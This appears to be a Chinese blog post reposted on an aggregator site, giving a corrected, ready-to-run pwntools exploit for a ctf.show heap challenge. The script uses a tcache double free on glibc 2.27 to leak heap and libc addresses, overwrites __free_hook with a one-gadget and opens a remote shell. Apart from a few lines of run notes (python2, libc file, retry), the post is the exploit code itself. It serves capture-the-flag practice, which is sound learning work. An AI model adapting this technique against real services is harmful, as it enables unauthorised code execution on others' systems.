赞
踩
参考博客https://www.xl-bit.cn/index.php/archives/15/
再找wp的时候找了好久,终于找到该师傅的exp,希望后来人能有wp看。不过可能该师傅的博客解码有点问题,导致他的exp不能直接跑通。这里做了整理。
代码如下:
2022.4.11 证明可以跑通
from pwn import * def new(content): p.sendlineafter('>>','1') p.sendafter('your 36D:',content) def free(index): p.sendlineafter('>>','2') p.sendlineafter('index:',str(index)) def show(index): p.sendlineafter('>>','3') p.sendlineafter('index:',str(index)) def modify(target,content): free(1) free(1) new(target) new('FMYY\n') new(content) #p = process('./pwn') p = remote('pwn.challenge.ctf.show',28018) libc =ELF('./libc-2.27.so',checksec=False) context.log_level ='DEBUG' new('FMYY\n') new('FMYY\n') new('FMYY\n') new('FMYY\n') new('FMYY\n') free(1) free(0) free(0) show(0) heap_base = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00')) - 0x10 - 0x250 log.info('HEAP:\t'+ hex(heap_base)) new(p64(heap_base + 0x270) + '\n') new(p64(0) + p64(0xB1)) new('FAKE\n') free(2) modify(p64(heap_base+0x18) + '\n',p64(0xFF00) + '\n') free(7) show(7) libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - 0x60 - 0x10 - libc.sym['__malloc_hook'] log.info('LIBC:\t' + hex(libc_base)) free_hook = libc.sym['__free_hook'] + libc_base rce = libc_base + 0x4F322 modify(p64(free_hook) + '\n',p64(rce) + '\n') free(4) p.interactive()
别忘你需要libc-2.27.so文件
python2 运行,如果出现问题就多试几遍。
赞
踩
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。